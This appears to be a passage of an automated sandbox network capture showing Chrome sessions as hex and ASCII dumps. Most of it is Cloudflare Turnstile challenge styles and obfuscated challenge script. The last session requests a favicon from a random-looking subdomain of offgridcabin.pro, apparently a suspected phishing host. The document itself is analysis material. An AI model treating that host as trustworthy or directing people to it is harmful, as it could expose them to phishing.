2025-01-13 20:52:49 UTC	1369	IN	Data Raw: 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 2e 74 68 65 6d 65 2d 64 61 72 Data Ascii: e-dark #challenge-overlay a,.theme-dark #challenge-overlay a:link,.theme-dark #challenge-overlay a:visited{color:#bbb}.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus,.theme-dark #challenge-error-text a:hover,.theme-dar
2025-01-13 20:52:49 UTC	1369	IN	Data Raw: 32 30 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 Data Ascii: 20}.theme-dark .logo-text{fill:#fff}.theme-dark #fr-helper-loop-link,.theme-dark #fr-helper-loop-link:link,.theme-dark #fr-helper-loop-link:visited{color:#bbb}.theme-dark #fr-helper-loop-link:active,.theme-dark #fr-helper-loop-link:focus,.theme-dark #fr-h
2025-01-13 20:52:49 UTC	1369	IN	Data Raw: 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 3b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 74 72 6f 6b 65 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 66 61 69 6c 75 72 65 2d 63 72 6f 73 73 7b 66 69 6c 6c 3a 23 66 66 66 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 62 6f 74 74 6f 6d 20 63 65 6e 74 65 72 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 2d 69 6e 2e 61 6e 69 6d 61 74 69 6f 6e 7b 30 25 7b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 73 74 72 6f 6b 65 3a 23 64 65 31 Data Ascii: ;stroke-dashoffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#de1303;fill:#de1303;animation:stroke .6s cubic-bezier(.65,0,.45,1) forwards}.failure-cross{fill:#fff;transform-origin:bottom center}@keyframes fade-in.animation{0%{fill:#de1303;stroke:#de1
2025-01-13 20:52:49 UTC	1369	IN	Data Raw: 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 66 6c 6f 77 3a 63 6f 6c 75 6d 6e 20 6e 6f 77 72 61 70 3b 67 61 70 3a 30 3b 68 65 69 67 68 74 3a 31 34 30 70 78 3b 70 61 64 64 69 6e 67 3a 31 32 70 78 20 30 3b 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d Data Ascii: ay:flex;flex-flow:column nowrap;gap:0;height:140px;padding:12px 0;place-content:space-between}.size-compact .link-spacer{margin-left:3px;margin-right:3px}.size-compact .cb-c{margin:0 12px;text-align:left}.size-compact .cb-container{margin:0 12px}.size-com
2025-01-13 20:52:49 UTC	1369	IN	Data Raw: 69 7b 6c 65 66 74 3a 32 35 35 70 78 7d 2e 72 74 6c 20 23 66 72 2d 68 65 6c 70 65 72 2c 2e 72 74 6c 20 23 66 72 2d 6f 76 65 72 72 75 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 31 36 70 78 3b 77 69 64 74 68 3a 39 30 70 78 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 2c 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 66 6c 65 Data Ascii: i{left:255px}.rtl #fr-helper,.rtl #fr-overrun{margin-left:.25em;margin-right:0}.rtl #branding{margin:0 0 0 16px;width:90px}.rtl #branding,.rtl.size-compact #branding{padding-left:0;padding-right:0;text-align:left}.rtl.size-compact #branding{align-self:fle
2025-01-13 20:52:49 UTC	1369	IN	Data Raw: 6f 6c 6f 72 3a 23 31 36 36 33 37 39 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 2e 69 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 75 6e 73 70 75 6e 20 2e 63 69 72 63 6c 65 7b 61 6e 69 6d 61 74 69 6f 6e 3a 75 6e 73 70 69 6e 20 2e 37 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 Data Ascii: olor:#166379;text-decoration:underline}#challenge-error-title a:link,#challenge-error-title a:visited{color:#232323}#challenge-error-title .i-wrapper{display:none}.unspun .circle{animation:unspin .7s cubic-bezier(.65,0,.45,1) forwards}.circle{stroke-width

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49748	104.18.95.41	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:52:50 UTC	727	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=901845b24f0c41e0&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/iknh7/0x4AAAAAAA4sf2kw7YnXl1bZ/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:52:50 UTC	331	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 20:52:50 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 122712 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 901845b97c4af5f8-EWR alt-svc: h3=":443"; ma=86400
2025-01-13 20:52:50 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 55 52 61 4f 61 38 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.URaOa8={"metadata":{"challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconce
2025-01-13 20:52:50 UTC	1369	IN	Data Raw: 74 65 64 2e 25 32 30 43 68 65 63 6b 25 32 30 79 6f 75 72 25 32 30 49 6e 74 65 72 6e 65 74 25 32 30 63 6f 6e 6e 65 63 74 69 6f 6e 25 32 30 61 6e 64 25 32 30 25 33 43 61 25 32 30 63 6c 61 73 73 25 33 44 25 32 32 72 65 66 72 65 73 68 5f 6c 69 6e 6b 25 32 32 25 33 45 72 65 66 72 65 73 68 25 32 30 74 68 65 25 32 30 70 61 67 65 25 33 43 25 32 46 61 25 33 45 25 32 30 69 66 25 32 30 74 68 65 25 32 30 69 73 73 75 65 25 32 30 70 65 72 73 69 73 74 73 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 22 3a 22 48 61 76 69 6e 67 25 32 30 74 72 6f 75 62 6c 65 25 33 46 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 6f 6f 74 65 72 5f 74 65 72 6d 73 22 3a 22 54 65 72 6d 73 22 2c 22 69 6e 76 61 6c 69 64 5f 64 6f 6d 61 69 6e 22 3a 22 49 6e 76 Data Ascii: ted.%20Check%20your%20Internet%20connection%20and%20%3Ca%20class%3D%22refresh_link%22%3Erefresh%20the%20page%3C%2Fa%3E%20if%20the%20issue%20persists.","turnstile_feedback_report":"Having%20trouble%3F","turnstile_footer_terms":"Terms","invalid_domain":"Inv
2025-01-13 20:52:50 UTC	1369	IN	Data Raw: 2c 66 59 2c 67 61 2c 67 67 2c 67 68 2c 67 69 2c 67 73 2c 67 44 2c 67 48 2c 66 33 2c 66 34 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 31 34 36 29 29 2f 31 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 31 34 30 34 29 29 2f 32 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 36 38 38 29 29 2f 33 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 35 34 33 29 29 2f 34 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 31 37 39 38 29 29 2f 35 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 32 35 37 29 29 2f 36 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 33 39 38 29 29 2f 37 29 2b 70 61 72 73 65 49 6e 74 Data Ascii: ,fY,ga,gg,gh,gi,gs,gD,gH,f3,f4){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=-parseInt(gI(1146))/1(parseInt(gI(1404))/2)+-parseInt(gI(688))/3+parseInt(gI(1543))/4(parseInt(gI(1798))/5)+-parseInt(gI(1257))/6*(-parseInt(gI(398))/7)+parseInt
2025-01-13 20:52:50 UTC	1369	IN	Data Raw: 75 72 6e 20 69 3d 3d 68 7d 2c 27 46 63 44 50 71 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 53 6c 6f 6b 5a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 65 72 73 6f 68 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 26 68 7d 2c 27 47 63 72 6f 53 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2a 69 7d 2c 27 77 77 62 53 50 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 42 41 76 77 75 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 21 3d 69 7d 2c 27 48 6b 6e 4e 65 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 64 46 7a Data Ascii: urn i==h},'FcDPq':function(h,i){return h(i)},'SlokZ':function(h,i){return h<i},'ersoh':function(h,i){return i&h},'GcroS':function(h,i){return h*i},'wwbSP':function(h,i){return h(i)},'BAvwu':function(h,i){return h!=i},'HknNe':function(h,i){return h<i},'dFz
2025-01-13 20:52:50 UTC	1369	IN	Data Raw: 28 49 29 29 2c 49 3d 30 29 3a 4a 2b 2b 2c 4e 3e 3e 3d 31 2c 78 2b 2b 29 3b 7d 45 2d 2d 2c 64 5b 67 4d 28 35 36 32 29 5d 28 30 2c 45 29 26 26 28 45 3d 4d 61 74 68 5b 67 4d 28 31 35 36 31 29 5d 28 32 2c 47 29 2c 47 2b 2b 29 2c 64 65 6c 65 74 65 20 43 5b 44 5d 7d 65 6c 73 65 20 72 65 74 75 72 6e 20 47 5b 48 5d 5b 73 5b 67 4d 28 39 33 31 29 5d 5d 28 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 2c 27 70 27 7d 65 6c 73 65 20 66 6f 72 28 4e 3d 42 5b 44 5d 2c 78 3d 30 3b 78 3c 47 3b 49 3d 64 5b 67 4d 28 39 32 36 29 5d 28 49 2c 31 29 7c 64 5b 67 4d 28 31 37 35 35 29 5d 28 4e 2c 31 29 2c 64 5b 67 4d 28 35 36 32 29 5d 28 4a 2c 64 5b 67 4d 28 31 36 38 34 29 5d 28 6a 2c 31 29 29 3f 28 4a 3d 30 2c 48 5b 67 4d 28 33 35 30 29 5d 28 64 5b 67 4d 28 38 31 36 29 5d 28 6f 2c 49 29 Data Ascii: (I)),I=0):J++,N>>=1,x++);}E--,d[gM(562)](0,E)&&(E=Math[gM(1561)](2,G),G++),delete C[D]}else return G[H][s[gM(931)]](function(){}),'p'}else for(N=B[D],x=0;x<G;I=d[gM(926)](I,1)\|d[gM(1755)](N,1),d[gM(562)](J,d[gM(1684)](j,1))?(J=0,H[gM(350)](d[gM(816)](o,I)
2025-01-13 20:52:50 UTC	1369	IN	Data Raw: 29 2c 6a 2d 31 3d 3d 4a 3f 28 4a 3d 30 2c 48 5b 67 4d 28 33 35 30 29 5d 28 6f 28 49 29 29 2c 49 3d 30 29 3a 4a 2b 2b 2c 4e 3e 3e 3d 31 2c 78 2b 2b 29 3b 45 2d 2d 2c 30 3d 3d 45 26 26 47 2b 2b 7d 66 6f 72 28 4e 3d 32 2c 78 3d 30 3b 78 3c 47 3b 49 3d 64 5b 67 4d 28 31 35 33 36 29 5d 28 64 5b 67 4d 28 37 38 30 29 5d 28 49 2c 31 29 2c 64 5b 67 4d 28 31 35 31 37 29 5d 28 4e 2c 31 29 29 2c 64 5b 67 4d 28 38 36 37 29 5d 28 4a 2c 64 5b 67 4d 28 31 30 33 34 29 5d 28 6a 2c 31 29 29 3f 28 4a 3d 30 2c 48 5b 67 4d 28 33 35 30 29 5d 28 64 5b 67 4d 28 31 32 32 39 29 5d 28 6f 2c 49 29 29 2c 49 3d 30 29 3a 4a 2b 2b 2c 4e 3e 3e 3d 31 2c 78 2b 2b 29 3b 66 6f 72 28 3b 3b 29 69 66 28 49 3c 3c 3d 31 2c 6a 2d 31 3d 3d 4a 29 7b 69 66 28 64 5b 67 4d 28 31 35 31 32 29 5d 21 3d 3d Data Ascii: ),j-1==J?(J=0,H[gM(350)](o(I)),I=0):J++,N>>=1,x++);E--,0==E&&G++}for(N=2,x=0;x<G;I=d[gM(1536)](d[gM(780)](I,1),d[gM(1517)](N,1)),d[gM(867)](J,d[gM(1034)](j,1))?(J=0,H[gM(350)](d[gM(1229)](o,I)),I=0):J++,N>>=1,x++);for(;;)if(I<<=1,j-1==J){if(d[gM(1512)]!==
2025-01-13 20:52:50 UTC	1369	IN	Data Raw: 5d 28 30 3c 4f 3f 31 3a 30 2c 49 29 2c 49 3c 3c 3d 31 29 3b 50 3d 64 5b 67 50 28 33 36 32 29 5d 28 65 2c 4d 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 32 3a 72 65 74 75 72 6e 27 27 7d 66 6f 72 28 48 3d 43 5b 33 5d 3d 50 2c 47 5b 67 50 28 33 35 30 29 5d 28 50 29 3b 3b 29 7b 69 66 28 4c 3e 6a 29 72 65 74 75 72 6e 27 27 3b 66 6f 72 28 4d 3d 30 2c 4e 3d 4d 61 74 68 5b 67 50 28 31 35 36 31 29 5d 28 32 2c 46 29 2c 49 3d 31 3b 64 5b 67 50 28 31 36 32 34 29 5d 28 49 2c 4e 29 3b 4f 3d 4b 26 4a 2c 4b 3e 3e 3d 31 2c 64 5b 67 50 28 36 36 33 29 5d 28 30 2c 4b 29 26 26 28 4b 3d 6f 2c 4a 3d 73 28 4c 2b 2b 29 29 2c 4d 7c 3d 28 64 5b 67 50 28 37 38 33 29 5d 28 30 2c 4f 29 3f 31 3a 30 29 2a 49 2c 49 3c 3c 3d 31 29 3b 73 77 69 74 63 68 28 50 3d 4d 29 7b 63 61 73 65 20 30 3a 66 Data Ascii: ](0<O?1:0,I),I<<=1);P=d[gP(362)](e,M);break;case 2:return''}for(H=C[3]=P,G[gP(350)](P);;){if(L>j)return'';for(M=0,N=Math[gP(1561)](2,F),I=1;d[gP(1624)](I,N);O=K&J,K>>=1,d[gP(663)](0,K)&&(K=o,J=s(L++)),M\|=(d[gP(783)](0,O)?1:0)*I,I<<=1);switch(P=M){case 0:f
2025-01-13 20:52:50 UTC	1369	IN	Data Raw: 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 68 7a 2c 65 29 7b 65 3d 28 68 7a 3d 67 4a 2c 7b 27 79 61 4c 53 4a 27 3a 68 7a 28 33 37 30 29 2c 27 45 6a 43 66 59 27 3a 66 75 6e 63 74 69 6f 6e 28 67 2c 68 29 7b 72 65 74 75 72 6e 20 67 28 68 29 7d 7d 29 3b 74 72 79 7b 72 65 74 75 72 6e 20 65 5b 68 7a 28 31 33 30 35 29 5d 28 66 32 2c 63 29 7d 63 61 74 63 68 28 67 29 7b 69 66 28 68 7a 28 39 32 31 29 3d 3d 3d 68 7a 28 39 32 31 29 29 72 65 74 75 72 6e 20 66 30 28 65 5b 68 7a 28 31 33 30 35 29 5d 28 66 31 2c 63 29 29 3b 65 6c 73 65 20 63 5b 68 7a 28 34 31 33 29 5d 28 67 2c 68 2c 65 5b 68 7a 28 31 36 38 39 29 5d 29 7d 7d 2c 66 33 3d 5b 5d 2c 66 34 3d 30 3b 32 35 36 3e 66 34 3b 66 33 5b 66 34 5d 3d 53 74 72 69 6e 67 5b 67 4a 28 31 36 31 35 29 5d 28 66 34 29 2c 66 34 2b Data Ascii: )]=function(c,hz,e){e=(hz=gJ,{'yaLSJ':hz(370),'EjCfY':function(g,h){return g(h)}});try{return e[hz(1305)](f2,c)}catch(g){if(hz(921)===hz(921))return f0(e[hz(1305)](f1,c));else c[hz(413)](g,h,e[hz(1689)])}},f3=[],f4=0;256>f4;f3[f4]=String[gJ(1615)](f4),f4+
2025-01-13 20:52:50 UTC	1369	IN	Data Raw: 69 2c 44 29 2c 45 29 3a 46 7c 7c 73 28 6f 5b 69 65 28 34 34 32 29 5d 28 69 2c 44 29 2c 68 5b 44 5d 29 29 3a 73 5b 69 65 28 31 30 32 33 29 5d 28 67 29 28 68 2e 6a 29 3a 73 28 69 2b 44 2c 45 29 2c 43 2b 2b 29 3b 72 65 74 75 72 6e 20 6a 3b 66 75 6e 63 74 69 6f 6e 20 73 28 47 2c 48 2c 69 67 29 7b 69 67 3d 69 65 2c 4f 62 6a 65 63 74 5b 69 67 28 36 32 30 29 5d 5b 69 67 28 33 37 38 29 5d 5b 69 67 28 31 31 36 35 29 5d 28 6a 2c 48 29 7c 7c 28 6a 5b 48 5d 3d 5b 5d 29 2c 6a 5b 48 5d 5b 69 67 28 33 35 30 29 5d 28 47 29 7d 7d 2c 66 42 3d 67 4a 28 31 37 34 34 29 5b 67 4a 28 39 31 32 29 5d 28 27 3b 27 29 2c 66 43 3d 66 42 5b 67 4a 28 35 32 33 29 5d 5b 67 4a 28 31 30 32 33 29 5d 28 66 42 29 2c 65 4d 5b 67 4a 28 31 34 31 37 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 67 2c 68 2c Data Ascii: i,D),E):F\|\|s(o[ie(442)](i,D),h[D])):s[ie(1023)](g)(h.j):s(i+D,E),C++);return j;function s(G,H,ig){ig=ie,Object[ig(620)][ig(378)][ig(1165)](j,H)\|\|(j[H]=[]),j[H][ig(350)](G)}},fB=gJ(1744)[gJ(912)](';'),fC=fB[gJ(523)][gJ(1023)](fB),eM[gJ(1417)]=function(g,h,
2025-01-13 20:52:50 UTC	1369	IN	Data Raw: 35 37 29 5d 5b 69 6c 28 31 34 35 30 29 5d 7d 2c 27 2a 27 29 29 7d 2c 67 29 7d 2c 65 4d 5b 67 4a 28 34 31 33 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 67 2c 68 2c 69 2c 69 6d 2c 6a 2c 6b 2c 6c 2c 6d 2c 6e 2c 6f 2c 73 2c 78 2c 42 2c 43 2c 44 2c 45 2c 46 29 7b 6b 3d 28 69 6d 3d 67 4a 2c 6a 3d 7b 7d 2c 6a 5b 69 6d 28 31 32 38 30 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 2b 48 7d 2c 6a 5b 69 6d 28 37 36 34 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 48 5e 47 7d 2c 6a 5b 69 6d 28 31 34 39 39 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 7d 2c 6a 5b 69 6d 28 35 38 33 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 Data Ascii: 57)][il(1450)]},'*'))},g)},eM[gJ(413)]=function(g,h,i,im,j,k,l,m,n,o,s,x,B,C,D,E,F){k=(im=gJ,j={},j[im(1280)]=function(G,H){return G+H},j[im(764)]=function(G,H){return H^G},j[im(1499)]=function(G,H){return G instanceof H},j[im(583)]=function(G,H){return G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49749	104.18.95.41	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:52:50 UTC	739	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/iknh7/0x4AAAAAAA4sf2kw7YnXl1bZ/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:52:50 UTC	240	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 20:52:50 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 901845b97c92431b-EWR alt-svc: h3=":443"; ma=86400
2025-01-13 20:52:50 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49721	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:52:51 UTC	732	OUT	GET /favicon.ico HTTP/1.1 Host: hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/JLSQqjDK Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999
2025-01-13 20:52:51 UTC	24	IN	HTTP/1.1 404 Not Found
2025-01-13 20:52:51 UTC	24	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 72 69 76 61 74 65 0d 0a Data Ascii: Cache-Control: private
